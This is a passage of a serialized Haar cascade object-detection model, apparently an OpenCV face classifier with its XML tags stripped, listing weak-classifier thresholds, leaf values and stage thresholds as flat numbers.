-1.6558900475502014e-01 1.2697030305862427e+00 + <_> + + 0 -1 913 1.0898499935865402e-01 + + 1.4894300699234009e-01 -2.1534640789031982e+00 + <_> + + 0 -1 914 -3.4077998250722885e-02 + + 1.3779460191726685e+00 -1.6198499500751495e-01 + <_> + + 0 -1 915 -3.7489999085664749e-03 + + -3.3828601241111755e-01 2.1152900159358978e-01 + <_> + + 0 -1 916 -1.0971999727189541e-02 + + 7.6517897844314575e-01 -1.9692599773406982e-01 + <_> + + 0 -1 917 -1.1485000140964985e-02 + + -6.9271200895309448e-01 2.1657100319862366e-01 + <_> + + 0 -1 918 2.5984000414609909e-02 + + -1.1983999982476234e-02 -9.9697297811508179e-01 + <_> + + 0 -1 919 4.2159999720752239e-03 + + -1.0205700248479843e-01 4.8884400725364685e-01 + <_> + + 0 -1 920 -4.7697000205516815e-02 + + 1.0666010379791260e+00 -1.7576299607753754e-01 + <_> + + 0 -1 921 4.0300001273863018e-04 + + 1.8524800240993500e-01 -7.4790000915527344e-01 + <_> + + 0 -1 922 1.1539600044488907e-01 + + -2.2019700706005096e-01 5.4509997367858887e-01 + <_> + + 0 -1 923 1.6021000221371651e-02 + + 2.5487500429153442e-01 -5.0740098953247070e-01 + <_> + + 0 -1 924 5.6632000952959061e-02 + + -1.1256000027060509e-02 -9.5968097448348999e-01 + <_> + + 0 -1 925 -1.0726000182330608e-02 + + -2.8544700145721436e-01 1.6994799673557281e-01 + <_> + + 0 -1 926 1.2420000135898590e-01 + + -3.6139998584985733e-02 -1.3132710456848145e+00 + <_> + + 0 -1 927 -5.3799999877810478e-03 + + 3.3092701435089111e-01 1.3307999819517136e-02 + <_> + + 0 -1 928 1.1908000335097313e-02 + + -3.4830299019813538e-01 2.4041900038719177e-01 + <_> + + 0 -1 929 -4.3007999658584595e-02 + + -1.4390469789505005e+00 1.5599599480628967e-01 + <_> + + 0 -1 930 -3.3149998635053635e-02 + + -1.1805850267410278e+00 -1.2347999960184097e-02 + <_> + + 0 -1 931 -2.1341999992728233e-02 + + 2.2119441032409668e+00 6.2737002968788147e-02 + <_> + + 0 -1 932 -1.2218999676406384e-02 + + -1.8709750175476074e+00 -4.5499999076128006e-02 + <_> + + 0 -1 933 -1.6860999166965485e-02 + + -7.6912701129913330e-01 1.5330000221729279e-01 + <_> + + 0 -1 934 -2.4999999441206455e-03 + + -6.2987399101257324e-01 5.1600001752376556e-02 + <_> + + 0 -1 935 -4.5037999749183655e-02 + + 8.5428899526596069e-01 6.2600001692771912e-03 + <_> + + 0 -1 936 3.9057999849319458e-02 + + -3.2458998262882233e-02 -1.3325669765472412e+00 + <_> + + 0 -1 937 6.6720000468194485e-03 + + -1.9423599541187286e-01 3.7328699231147766e-01 + <_> + + 0 -1 938 -1.6361000016331673e-02 + + 2.0605869293212891e+00 -1.5042699873447418e-01 + <_> + + 0 -1 939 6.1719999648630619e-03 + + -1.1610999703407288e-01 2.5455400347709656e-01 + <_> + + 0 -1 940 4.5722000300884247e-02 + + -1.6340000554919243e-02 -1.0449140071868896e+00 + <_> + + 0 -1 941 4.1209999471902847e-03 + + -4.1997998952865601e-02 3.9680999517440796e-01 + <_> + + 0 -1 942 -1.7800000205170363e-04 + + -6.6422599554061890e-01 3.3443000167608261e-02 + <_> + + 0 -1 943 7.1109998971223831e-03 + + -5.8231998234987259e-02 3.7857300043106079e-01 + <_> + + 0 -1 944 -4.9864001572132111e-02 + + 6.1019402742385864e-01 -2.1005700528621674e-01 + <_> + + 0 -1 945 -2.5011999532580376e-02 + + -5.7100099325180054e-01 1.7848399281501770e-01 + <_> + + 0 -1 946 3.0939999967813492e-02 + + 5.6363001465797424e-02 -6.4731001853942871e-01 + <_> + + 0 -1 947 4.6271000057458878e-02 + + 1.7482399940490723e-01 -9.8909401893615723e-01 + <_> + + 0 -1 948 -3.1870000530034304e-03 + + -6.6804802417755127e-01 3.2267000526189804e-02 + <_> + + 0 -1 949 -2.4351999163627625e-02 + + 2.9444900155067444e-01 -1.3599999947473407e-03 + <_> + + 0 -1 950 1.1974000371992588e-02 + + -2.8345099091529846e-01 4.7171199321746826e-01 + <_> + + 0 -1 951 1.3070000335574150e-02 + + -1.0834600031375885e-01 5.7193297147750854e-01 + <_> + + 0 -1 952 5.9163000434637070e-02 + + -5.0939001142978668e-02 -1.9059720039367676e+00 + <_> + + 0 -1 953 -4.1094999760389328e-02 + + 4.5104598999023438e-01 -9.7599998116493225e-03 + <_> + + 0 -1 954 -8.3989001810550690e-02 + + -2.0349199771881104e+00 -5.1019001752138138e-02 + <_> + + 0 -1 955 4.4619001448154449e-02 + + 1.7041100561618805e-01 -1.2278720140457153e+00 + <_> + + 0 -1 956 2.4419000372290611e-02 + + -2.1796999499201775e-02 -1.0822949409484863e+00 + <_> + + 0 -1 957 -4.3870001100003719e-03 + + 3.0466699600219727e-01 -3.7066599726676941e-01 + <_> + + 0 -1 958 2.4607999250292778e-02 + + -3.1169500946998596e-01 2.3657299578189850e-01 + <_> + + 0 -1 959 -8.5182003676891327e-02 + + -1.7982350587844849e+00 1.5254299342632294e-01 + <_> + + 0 -1 960 2.1844999864697456e-02 + + -5.1888000220060349e-02 -1.9017189741134644e+00 + <_> + + 0 -1 961 -1.6829000785946846e-02 + + 2.1025900542736053e-01 2.1656999364495277e-02 + <_> + + 0 -1 962 3.2547999173402786e-02 + + -2.0292599499225616e-01 6.0944002866744995e-01 + <_> + + 0 -1 963 2.4709999561309814e-03 + + -9.5371198654174805e-01 1.8568399548530579e-01 + <_> + + 0 -1 964 5.5415999144315720e-02 + + -1.4405299723148346e-01 2.1506340503692627e+00 + <_> + + 0 -1 965 -1.0635499656200409e-01 + + -1.0911970138549805e+00 1.3228000700473785e-01 + <_> + + 0 -1 966 -7.9889995977282524e-03 + + 1.0253400355577469e-01 -5.1744902133941650e-01 + <_> + + 0 -1 967 7.5567997992038727e-02 + + 5.8965001255273819e-02 1.2354209423065186e+00 + <_> + + 0 -1 968 -9.2805996537208557e-02 + + -1.3431650400161743e+00 -3.4462999552488327e-02 + <_> + + 0 -1 969 4.9431998282670975e-02 + + 4.9601998180150986e-02 1.6054730415344238e+00 + <_> + + 0 -1 970 -1.1772999539971352e-02 + + -1.0261050462722778e+00 -4.1559999808669090e-03 + <_> + + 0 -1 971 8.5886001586914062e-02 + + 8.4642998874187469e-02 9.5220798254013062e-01 + <_> + + 0 -1 972 8.1031002104282379e-02 + + -1.4687100052833557e-01 1.9359990358352661e+00 + <_> + 136 + -3.4265899658203125e+00 + + <_> + + 0 -1 973 -3.3840999007225037e-02 + + 6.5889501571655273e-01 -6.9755297899246216e-01 + <_> + + 0 -1 974 1.5410000458359718e-02 + + -9.0728402137756348e-01 3.0478599667549133e-01 + <_> + + 0 -1 975 5.4905999451875687e-02 + + -4.9774798750877380e-01 5.7132601737976074e-01 + <_> + + 0 -1 976 2.1390000358223915e-02 + + -4.2565199732780457e-01 5.8096802234649658e-01 + <_> + + 0 -1 977 7.8849997371435165e-03 + + -4.7905999422073364e-01 4.3016499280929565e-01 + <_> + + 0 -1 978 -3.7544999271631241e-02 + + 5.0861597061157227e-01 -1.9985899329185486e-01 + <_> + + 0 -1 979 1.5925799310207367e-01 + + -2.3263600468635559e-01 1.0993319749832153e+00 + <_> + + 0 -1 980 -6.8939998745918274e-02 + + 4.0569001436233521e-01 5.6855000555515289e-02 + <_> + + 0 -1 981 -3.3695001155138016e-02 + + 4.5132800936698914e-01 -3.3332800865173340e-01 + <_> + + 0 -1 982 -6.3314996659755707e-02 + + -8.5015702247619629e-01 2.2341699898242950e-01 + <_> + + 0 -1 983 7.3699997738003731e-03 + + -9.3082201480865479e-01 5.9216998517513275e-02 + <_> + + 0 -1 984 -9.5969997346401215e-03 + + -1.2794899940490723e+00 1.8447299301624298e-01 + <_> + + 0 -1 985 -1.3067999482154846e-01 + + 5.8426898717880249e-01 -2.6007199287414551e-01 + <_> + + 0 -1 986 5.7402998208999634e-02 + + -5.3789000958204269e-02 7.1175599098205566e-01 + <_> + + 0 -1 987 -7.2340001352131367e-03 + + -8.6962199211120605e-01 7.5214996933937073e-02 + <_> + + 0 -1 988 3.1098999083042145e-02 + + -7.5006999075412750e-02 9.0781599283218384e-01 + <_> + + 0 -1 989 3.5854000598192215e-02 + + -2.4795499444007874e-01 7.2272098064422607e-01 + <_> + + 0 -1 990 -3.1534999608993530e-02 + + -1.1238329410552979e+00 2.0988300442695618e-01 + <_> + + 0 -1 991 -1.9437000155448914e-02 + + -1.4499390125274658e+00 -1.5100000426173210e-02 + <_> + + 0 -1 992 -7.2420001961290836e-03 + + 5.3864902257919312e-01 -1.1375399678945541e-01 + <_> + + 0 -1 993 8.1639997661113739e-03 + + 6.6889002919197083e-02 -7.6872897148132324e-01 + <_> + + 0 -1 994 -4.3653000146150589e-02 + + 1.1413530111312866e+00 4.0217000991106033e-02 + <_> + + 0 -1 995 2.6569999754428864e-02 + + -2.4719099700450897e-01 5.9295099973678589e-01 + <_> + + 0 -1 996 3.2216999679803848e-02 + + -4.0024999529123306e-02 3.2688000798225403e-01 + <_> + + 0 -1 997 -7.2236001491546631e-02 + + 5.8729398250579834e-01 -2.5396001338958740e-01 + <_> + + 0 -1 998 3.1424999237060547e-02 + + 1.5315100550651550e-01 -5.6042098999023438e-01 + <_> + + 0 -1 999 -4.7699999413453043e-04 + + 1.6958899796009064e-01 -5.2626699209213257e-01 + <_> + + 0 -1 1000 2.7189999818801880e-03 + + -1.4944599568843842e-01 2.9658699035644531e-01 + <_> + + 0 -1 1001 3.2875001430511475e-02 + + -3.9943501353263855e-01 2.5156599283218384e-01 + <_> + + 0 -1 1002 -1.4553000219166279e-02 + + 2.7972599864006042e-01 -4.7203800082206726e-01 + <_> + + 0 -1 1003 3.8017999380826950e-02 + + -2.9200001154094934e-03 -1.1300059556961060e+00 + <_> + + 0 -1 1004 2.8659999370574951e-03 + + 4.1111800074577332e-01 -2.6220801472663879e-01 + <_> + + 0 -1 1005 -4.1606999933719635e-02 + + -1.4293819665908813e+00 -1.9132999703288078e-02 + <_> + + 0 -1 1006 -2.4802999570965767e-02 + + -2.5013598799705505e-01 1.5978699922561646e-01 + <_> + + 0 -1 1007 1.0098000057041645e-02 + + 4.3738998472690582e-02 -6.9986099004745483e-01 + <_> + + 0 -1 1008 -2.0947000011801720e-02 + + -9.4137799739837646e-01 2.3204000294208527e-01 + <_> + + 0 -1 1009 2.2458000108599663e-02 + + -2.7185800671577454e-01 4.5319199562072754e-01 + <_> + + 0 -1 1010 -3.7110999226570129e-02 + + -1.0314660072326660e+00 1.4421799778938293e-01 + <_> + + 0 -1 1011 -1.0648000054061413e-02 + + 6.3107001781463623e-01 -2.5520798563957214e-01 + <_> + + 0 -1 1012 5.5422998964786530e-02 + + 1.6206599771976471e-01 -1.7722640037536621e+00 + <_> + + 0 -1 1013 2.1601999178528786e-02 + + -2.5016099214553833e-01 5.4119801521301270e-01 + <_> + + 0 -1 1014 8.7000000348780304e-05 + + -2.9008901119232178e-01 3.3507999777793884e-01 + <_> + + 0 -1 1015 1.4406000263988972e-02 + + -7.8840004280209541e-03 -1.1677219867706299e+00 + <_> + + 0 -1 1016 1.0777399688959122e-01 + + 1.1292000114917755e-01 -2.4940319061279297e+00 + <_> + + 0 -1 1017 3.5943999886512756e-02 + + -1.9480599462985992e-01 9.5757502317428589e-01 + <_> + + 0 -1 1018 -3.9510000497102737e-03 + + 3.0927801132202148e-01 -2.5530201196670532e-01 + <_> + + 0 -1 1019 2.0942000672221184e-02 + + -7.6319999061524868e-03 -1.0086350440979004e+00 + <_> + + 0 -1 1020 -2.9877999797463417e-02 + + -4.6027699112892151e-01 1.9507199525833130e-01 + <_> + + 0 -1 1021 2.5971999391913414e-02 + + -1.2187999673187733e-02 -1.0035500526428223e+00 + <_> + + 0 -1 1022 1.0603000409901142e-02 + + -7.5969003140926361e-02 4.1669899225234985e-01 + <_> + + 0 -1 1023 8.5819996893405914e-03 + + -2.6648598909378052e-01 3.9111500978469849e-01 + <_> + + 0 -1 1024 2.1270999684929848e-02 + + 1.8273900449275970e-01 -3.6052298545837402e-01 + <_> + + 0 -1 1025 7.4518002569675446e-02 + + -1.8938399851322174e-01 9.2658001184463501e-01 + <_> + + 0 -1 1026 4.6569998376071453e-03 + + -1.4506199955940247e-01 3.3294600248336792e-01 + <_> + + 0 -1 1027 1.7119999974966049e-03 + + -5.2464002370834351e-01 8.9879997074604034e-02 + <_> + + 0 -1 1028 9.8500004969537258e-04 + + -3.8381999731063843e-01 2.4392999708652496e-01 + <_> + + 0 -1 1029 2.8233999386429787e-02 + + -5.7879998348653316e-03 -1.2617139816284180e+00 + <_> + + 0 -1 1030 -3.2678000628948212e-02 + + -5.7953298091888428e-01 1.6955299675464630e-01 + <_> + + 0 -1 1031 2.2536000236868858e-02 + + 2.2281000390648842e-02 -8.7869602441787720e-01 + <_> + + 0 -1 1032 -2.1657999604940414e-02 + + -6.5108501911163330e-01 1.2966899573802948e-01 + <_> + + 0 -1 1033 7.6799998059868813e-03 + + -3.3965200185775757e-01 2.2013300657272339e-01 + <_> + + 0 -1 1034 1.4592000283300877e-02 + + 1.5077300369739532e-01 -5.0452399253845215e-01 + <_> + + 0 -1 1035 2.7868000790476799e-02 + + -2.5045299530029297e-01 4.5741999149322510e-01 + <_> + + 0 -1 1036 5.6940000504255295e-03 + + -1.0948500037193298e-01 5.5757802724838257e-01 + <_> + + 0 -1 1037 -1.0002999566495419e-02 + + -9.7366297245025635e-01 1.8467999994754791e-02 + <_> + + 0 -1 1038 -4.0719998069107533e-03 + + 3.8222199678421021e-01 -1.6921100020408630e-01 + <_> + + 0 -1 1039 -2.2593999281525612e-02 + + -1.0391089916229248e+00 5.1839998923242092e-03 + <_> + + 0 -1 1040 -3.9579998701810837e-02 + + -5.5109229087829590e+00 1.1163999885320663e-01 + <_> + + 0 -1 1041 -1.7537999898195267e-02 + + 9.5485800504684448e-01 -1.8584500253200531e-01 + <_> + + 0 -1 1042 9.0300003066658974e-03 + + 1.0436000302433968e-02 8.2114797830581665e-01 + <_> + + 0 -1 1043 -7.9539995640516281e-03 + + 2.2632899880409241e-01 -3.4568199515342712e-01 + <_> + + 0 -1 1044 2.7091000229120255e-02 + + 1.6430099308490753e-01 -1.3926379680633545e+00 + <_> + + 0 -1 1045 -2.0625999197363853e-02 + + -8.6366099119186401e-01 2.3880000226199627e-03 + <_> + + 0 -1 1046 -7.1989998221397400e-02 + + -2.8192629814147949e+00 1.1570499837398529e-01 + <_> + + 0 -1 1047 -2.6964999735355377e-02 + + -1.2946130037307739e+00 -2.4661000818014145e-02 + <_> + + 0 -1 1048 -4.7377999871969223e-02 + + -8.1306397914886475e-01 1.1831399798393250e-01 + <_> + + 0 -1 1049 -1.0895600169897079e-01 + + 6.5937900543212891e-01 -2.0843900740146637e-01 + <_> + + 0 -1 1050 1.3574000447988510e-02 + + 7.4240001849830151e-03 5.3152197599411011e-01 + <_> + + 0 -1 1051 -6.6920001991093159e-03 + + 3.0655801296234131e-01 -3.1084299087524414e-01 + <_> + + 0 -1 1052 -3.9070001803338528e-03 + + 2.5576499104499817e-01 -5.2932001650333405e-02 + <_> + + 0 -1 1053 -3.7613000720739365e-02 + + -1.4350049495697021e+00 -1.5448000282049179e-02 + <_> + + 0 -1 1054 8.6329998448491096e-03 + + -1.6884399950504303e-01 4.2124900221824646e-01 + <_> + + 0 -1 1055 -3.2097000628709793e-02 + + -6.4979398250579834e-01 4.1110001504421234e-02 + <_> + + 0 -1 1056 5.8495998382568359e-02 + + -5.2963998168706894e-02 6.3368302583694458e-01 + <_> + + 0 -1 1057 -4.0901999920606613e-02 + + -9.2101097106933594e-01 9.0640000998973846e-03 + <_> + + 0 -1 1058 -1.9925000146031380e-02 + + 5.3759998083114624e-01 -6.2996998429298401e-02 + <_> + + 0 -1 1059 -4.6020001173019409e-03 + + -5.4333502054214478e-01 8.4104999899864197e-02 + <_> + + 0 -1 1060 1.6824999824166298e-02 + + 1.5563699603080750e-01 -4.0171200037002563e-01 + <_> + + 0 -1 1061 9.4790002331137657e-03 + + -2.4245299398899078e-01 5.1509499549865723e-01 + <_> + + 0 -1 1062 -1.9534999504685402e-02 + + -5.1118397712707520e-01 1.3831999897956848e-01 + <_> + + 0 -1 1063 1.0746000334620476e-02 + + -2.1854999661445618e-01 6.2828701734542847e-01 + <_> + + 0 -1 1064 3.7927001714706421e-02 + + 1.1640299856662750e-01 -2.7301959991455078e+00 + <_> + + 0 -1 1065 1.6390999779105186e-02 + + -1.4635999687016010e-02 -1.0797250270843506e+00 + <_> + + 0 -1 1066 -1.9785000011324883e-02 + + 1.2166420221328735e+00 3.3275000751018524e-02 + <_> + + 0 -1 1067 1.1067000217735767e-02 + + -2.5388300418853760e-01 4.4038599729537964e-01 + <_> + + 0 -1 1068 5.2479999139904976e-03 + + 2.2496800124645233e-01 -2.4216499924659729e-01 + <_> + + 0 -1 1069 -1.1141999624669552e-02 + + 2.5018098950386047e-01 -3.0811500549316406e-01 + <_> + + 0 -1 1070 -1.0666999965906143e-02 + + -3.2729101181030273e-01 2.6168298721313477e-01 + <_> + + 0 -1 1071 1.0545299947261810e-01 + + -5.5750001221895218e-02 -1.9605729579925537e+00 + <_> + + 0 -1 1072 5.4827999323606491e-02 + + -1.9519999623298645e-03 7.3866099119186401e-01 + <_> + + 0 -1 1073 1.7760999500751495e-02 + + -3.0647200345993042e-01 2.6346999406814575e-01 + <_> + + 0 -1 1074 -3.1185999512672424e-02 + + -2.4600900709629059e-01 1.7082199454307556e-01 + <_> + + 0 -1 1075 -5.7296000421047211e-02 + + 4.7033500671386719e-01 -2.6048299670219421e-01 + <_> + + 0 -1 1076 -1.1312000453472137e-02 + + 3.8628900051116943e-01 -2.8817000985145569e-01 + <_> + + 0 -1 1077 3.0592000111937523e-02 + + -4.8826001584529877e-02 -1.7638969421386719e+00 + <_> + + 0 -1 1078 1.8489999929443002e-03 + + 2.1099899709224701e-01 -2.5940999388694763e-02 + <_> + + 0 -1 1079 1.1419000104069710e-02 + + -1.6829599440097809e-01 1.0278660058975220e+00 + <_> + + 0 -1 1080 8.1403002142906189e-02 + + 1.1531999707221985e-01 -1.2482399940490723e+00 + <_> + + 0 -1 1081 5.3495999425649643e-02 + + -4.6303998678922653e-02 -1.7165969610214233e+00 + <_> + + 0 -1 1082 -2.3948000743985176e-02 + + -4.0246599912643433e-01 2.0562100410461426e-01 + <_> + + 0 -1 1083 6.7690000869333744e-03 + + -3.3152300119400024e-01 2.0683400332927704e-01 + <_> + + 0 -1 1084 -3.2343998551368713e-02 + + -7.2632801532745361e-01 2.0073500275611877e-01 + <_> + + 0 -1 1085 3.7863001227378845e-02 + + -1.5631000697612762e-01 1.6697460412979126e+00 + <_> + + 0 -1 1086 1.5440000221133232e-02 + + 1.9487400352954865e-01 -3.5384199023246765e-01 + <_> + + 0 -1 1087 -4.4376000761985779e-02 + + 8.2093602418899536e-01 -1.8193599581718445e-01 + <_> + + 0 -1 1088 -2.3102000355720520e-02 + + -4.3044099211692810e-01 1.2375400215387344e-01 + <_> + + 0 -1 1089 1.9400000572204590e-02 + + -2.9726000502705574e-02 -1.1597590446472168e+00 + <_> + + 0 -1 1090 1.0385700315237045e-01 + + 1.1149899661540985e-01 -4.6835222244262695e+00 + <_> + + 0 -1 1091 -1.8964000046253204e-02 + + 2.1773819923400879e+00 -1.4544400572776794e-01 + <_> + + 0 -1 1092 3.8750998675823212e-02 + + -4.9446001648902893e-02 3.4018298983573914e-01 + <_> + + 0 -1 1093 2.2766999900341034e-02 + + -3.2802999019622803e-01 3.0531400442123413e-01 + <_> + + 0 -1 1094 -3.1357001513242722e-02 + + 1.1520819664001465e+00 2.7305999770760536e-02 + <_> + + 0 -1 1095 9.6909999847412109e-03 + + -3.8799500465393066e-01 2.1512599289417267e-01 + <_> + + 0 -1 1096 -4.9284998327493668e-02 + + -1.6774909496307373e+00 1.5774199366569519e-01 + <_> + + 0 -1 1097 -3.9510998874902725e-02 + + -9.7647899389266968e-01 -1.0552000254392624e-02 + <_> + + 0 -1 1098 4.7997999936342239e-02 + + 2.0843900740146637e-01 -6.8992799520492554e-01 + <_> + + 0 -1 1099 5.1422998309135437e-02 + + -1.6665300726890564e-01 1.2149239778518677e+00 + <_> + + 0 -1 1100 1.4279999770224094e-02 + + 2.3627699911594391e-01 -4.1396799683570862e-01 + <_> + + 0 -1 1101 -9.1611996293067932e-02 + + -9.2830902338027954e-01 -1.8345000222325325e-02 + <_> + + 0 -1 1102 6.5080001950263977e-03 + + -7.3647201061248779e-01 1.9497099518775940e-01 + <_> + + 0 -1 1103 3.5723000764846802e-02 + + 1.4197799563407898e-01 -4.2089301347732544e-01 + <_> + + 0 -1 1104 5.0638001412153244e-02 + + 1.1644000187516212e-02 7.8486597537994385e-01 + <_> + + 0 -1 1105 -1.4613999985158443e-02 + + -1.1909500360488892e+00 -3.5128001123666763e-02 + <_> + + 0 -1 1106 -3.8662999868392944e-02 + + 2.4314730167388916e+00 6.5647996962070465e-02 + <_> + + 0 -1 1107 -4.0346998721361160e-02 + + 7.1755301952362061e-01 -1.9108299911022186e-01 + <_> + + 0 -1 1108 2.3902000859379768e-02 + + 1.5646199882030487e-01 -7.9294800758361816e-01 + <_> + 137 + -3.5125269889831543e+00 + + <_> + + 0 -1 1109 8.5640000179409981e-03 + + -8.1450700759887695e-01 5.8875298500061035e-01 + <_> + + 0 -1 1110 -1.3292600214481354e-01 + + 9.3213397264480591e-01 -2.9367300868034363e-01 + <_> + + 0 -1 1111 9.8400004208087921e-03 + + -5.6462901830673218e-01 4.1647699475288391e-01 + <_> + + 0 -1 1112 5.0889998674392700e-03 + + -7.9232800006866455e-01 1.6975000500679016e-01 + <_> + + 0 -1 1113 -6.1039000749588013e-02 + + -1.4169000387191772e+00 2.5020999833941460e-02 + <_> + + 0 -1 1114 -4.6599999768659472e-04 + + 3.7982499599456787e-01 -4.1567099094390869e-01 + <_> + + 0 -1 1115 3.3889999613165855e-03 + + -4.0768599510192871e-01 3.5548499226570129e-01 + <_> + + 0 -1 1116 2.1006999537348747e-02 + + -2.4080100655555725e-01 8.6112701892852783e-01 + <_> + + 0 -1 1117 7.5559997931122780e-03 + + -8.7467199563980103e-01 9.8572000861167908e-02 + <_> + + 0 -1 1118 2.4779999628663063e-02 + + 1.5566200017929077e-01 -6.9229799509048462e-01 + <_> + + 0 -1 1119 -3.5620000213384628e-02 + + -1.1472270488739014e+00 3.6359999328851700e-02 + <_> + + 0 -1 1120 1.9810000434517860e-02 + + 1.5516200661659241e-01 -6.9520097970962524e-01 + <_> + + 0 -1 1121 1.5019999817013741e-02 + + 4.1990000754594803e-02 -9.6622800827026367e-01 + <_> + + 0 -1 1122 -2.3137999698519707e-02 + + 4.3396899104118347e-01 2.4160000029951334e-03 + <_> + + 0 -1 1123 -1.8743000924587250e-02 + + 4.3481099605560303e-01 -3.2522499561309814e-01 + <_> + + 0 -1 1124 4.5080000162124634e-01 + + -9.4573996961116791e-02 7.2421300411224365e-01 + <_> + + 0 -1 1125 1.1854999698698521e-02 + + -3.8133099675178528e-01 3.0098399519920349e-01 + <_> + + 0 -1 1126 -2.4830000475049019e-02 + + 8.9300602674484253e-01 -1.0295899957418442e-01 + <_> + + 0 -1 1127 -4.4743001461029053e-02 + + 8.6280298233032227e-01 -2.1716499328613281e-01 + <_> + + 0 -1 1128 -1.4600000344216824e-02 + + 6.0069400072097778e-01 -1.5906299650669098e-01 + <_> + + 0 -1 1129 -2.4527000263333321e-02 + + -1.5872869491577148e+00 -2.1817000582814217e-02 + <_> + + 0 -1 1130 2.3024000227451324e-02 + + 1.6853399574756622e-01 -3.8106900453567505e-01 + <_> + + 0 -1 1131 -2.4917000904679298e-02 + + 5.0810897350311279e-01 -2.7279898524284363e-01 + <_> + + 0 -1 1132 1.0130000300705433e-03 + + -4.3138799071311951e-01 2.6438099145889282e-01 + <_> + + 0 -1 1133 1.5603000298142433e-02 + + -3.1624200940132141e-01 5.5715900659561157e-01 + <_> + + 0 -1 1134 -2.6685999706387520e-02 + + 1.0553920269012451e+00 2.9074000194668770e-02 + <_> + + 0 -1 1135 1.3940000208094716e-03 + + -7.1873801946640015e-01 6.5390996634960175e-02 + <_> + + 0 -1 1136 -6.4799998654052615e-04 + + 2.4884399771690369e-01 -2.0978200435638428e-01 + <_> + + 0 -1 1137 -3.1888000667095184e-02 + + -6.8844497203826904e-01 6.3589997589588165e-02 + <_> + + 0 -1 1138 -4.9290000461041927e-03 + + -5.9152501821517944e-01 2.7943599224090576e-01 + <_> + + 0 -1 1139 3.1168000772595406e-02 + + 4.5223999768495560e-02 -8.8639199733734131e-01 + <_> + + 0 -1 1140 -3.3663000911474228e-02 + + -6.1590200662612915e-01 1.5749299526214600e-01 + <_> + + 0 -1 1141 1.1966999620199203e-02 + + -3.0606698989868164e-01 4.2293301224708557e-01 + <_> + + 0 -1 1142 -3.4680001437664032e-02 + + -1.3734940290451050e+00 1.5908700227737427e-01 + <_> + + 0 -1 1143 9.9290004000067711e-03 + + -5.5860197544097900e-01 1.2119200080633163e-01 + <_> + + 0 -1 1144 5.9574998915195465e-02 + + 4.9720001406967640e-03 8.2055401802062988e-01 + <_> + + 0 -1 1145 -6.5428003668785095e-02 + + 1.5651429891586304e+00 -1.6817499697208405e-01 + <_> + + 0 -1 1146 -9.2895999550819397e-02 + + -1.5794529914855957e+00 1.4661799371242523e-01 + <_> + + 0 -1 1147 -4.1184000670909882e-02 + + -1.5518720149993896e+00 -2.9969999566674232e-02 + <_> + + 0 -1 1148 2.1447999402880669e-02 + + 1.7196300625801086e-01 -6.9343197345733643e-01 + <_> + + 0 -1 1149 -2.5569999590516090e-02 + + -1.3061310052871704e+00 -2.4336999282240868e-02 + <_> + + 0 -1 1150 -4.1200999170541763e-02 + + -1.3821059465408325e+00 1.4801800251007080e-01 + <_> + + 0 -1 1151 -1.7668999731540680e-02 + + -7.0889997482299805e-01 3.6524001508951187e-02 + <_> + + 0 -1 1152 9.0060001239180565e-03 + + -4.0913999080657959e-02 8.0373102426528931e-01 + <_> + + 0 -1 1153 -1.1652999557554722e-02 + + 5.7546800374984741e-01 -2.4991700053215027e-01 + <_> + + 0 -1 1154 -7.4780001305043697e-03 + + -4.9280899763107300e-01 1.9810900092124939e-01 + <_> + + 0 -1 1155 8.5499999113380909e-04 + + -4.8858100175857544e-01 1.3563099503517151e-01 + <_> + + 0 -1 1156 -3.0538000166416168e-02 + + -6.0278397798538208e-01 1.8522000312805176e-01 + <_> + + 0 -1 1157 -1.8846999853849411e-02 + + 2.3565599322319031e-01 -3.5136300325393677e-01 + <_> + + 0 -1 1158 -8.1129996106028557e-03 + + -8.1304997205734253e-02 2.1069599688053131e-01 + <_> + + 0 -1 1159 -3.4830000251531601e-02 + + -1.2065670490264893e+00 -1.4251999557018280e-02 + <_> + + 0 -1 1160 1.9021000713109970e-02 + + 2.3349900543689728e-01 -4.5664900541305542e-01 + <_> + + 0 -1 1161 -1.9004000350832939e-02 + + -8.1075799465179443e-01 1.3140000402927399e-02 + <_> + + 0 -1 1162 -8.9057996869087219e-02 + + 6.1542397737503052e-01 3.2983001321554184e-02 + <_> + + 0 -1 1163 6.8620000965893269e-03 + + -2.9583099484443665e-01 2.7003699541091919e-01 + <_> + + 0 -1 1164 -2.8240999206900597e-02 + + -6.1102700233459473e-01 1.7357499897480011e-01 + <_> + + 0 -1 1165 -3.2099999953061342e-04 + + -5.3322899341583252e-01 6.8539001047611237e-02 + <_> + + 0 -1 1166 -1.0829100012779236e-01 + + -1.2879559993743896e+00 1.1801700294017792e-01 + <_> + + 0 -1 1167 1.5878999605774879e-02 + + -1.7072600126266479e-01 1.1103910207748413e+00 + <_> + + 0 -1 1168 8.6859995499253273e-03 + + -1.0995099693536758e-01 4.6010500192642212e-01 + <_> + + 0 -1 1169 -2.5234999135136604e-02 + + 1.0220669507980347e+00 -1.8694299459457397e-01 + <_> + + 0 -1 1170 -1.3508999720215797e-02 + + -7.8316599130630493e-01 1.4202600717544556e-01 + <_> + + 0 -1 1171 -7.7149998396635056e-03 + + -8.8060700893402100e-01 1.1060000397264957e-02 + <_> + + 0 -1 1172 7.1580000221729279e-02 + + 1.1369399726390839e-01 -1.1032789945602417e+00 + <_> + + 0 -1 1173 -1.3554000295698643e-02 + + -8.1096500158309937e-01 3.4080001059919596e-03 + <_> + + 0 -1 1174 2.9450000729411840e-03 + + -7.2879999876022339e-02 3.4998100996017456e-01 + <_> + + 0 -1 1175 -5.0833001732826233e-02 + + -1.2868590354919434e+00 -2.8842000290751457e-02 + <_> + + 0 -1 1176 -8.7989997118711472e-03 + + 4.7613599896430969e-01 -1.4690400660037994e-01 + <_> + + 0 -1 1177 2.1424399316310883e-01 + + -5.9702001512050629e-02 -2.4802260398864746e+00 + <_> + + 0 -1 1178 1.3962999917566776e-02 + + 1.7420299351215363e-01 -4.3911001086235046e-01 + <_> + + 0 -1 1179 4.2502000927925110e-02 + + -1.9965299963951111e-01 7.0654797554016113e-01 + <_> + + 0 -1 1180 1.9827999174594879e-02 + + -6.9136001169681549e-02 6.1643397808074951e-01 + <_> + + 0 -1 1181 -3.3560000360012054e-02 + + -1.2740780115127563e+00 -2.5673000141978264e-02 + <_> + + 0 -1 1182 6.3542999327182770e-02 + + 1.2403500080108643e-01 -1.0776289701461792e+00 + <_> + + 0 -1 1183 2.1933000534772873e-02 + + 1.4952000230550766e-02 -7.1023499965667725e-01 + <_> + + 0 -1 1184 -7.8424997627735138e-02 + + 6.2033998966217041e-01 3.3610999584197998e-02 + <_> + + 0 -1 1185 1.4390000142157078e-02 + + -3.6324599385261536e-01 1.7308300733566284e-01 + <_> + + 0 -1 1186 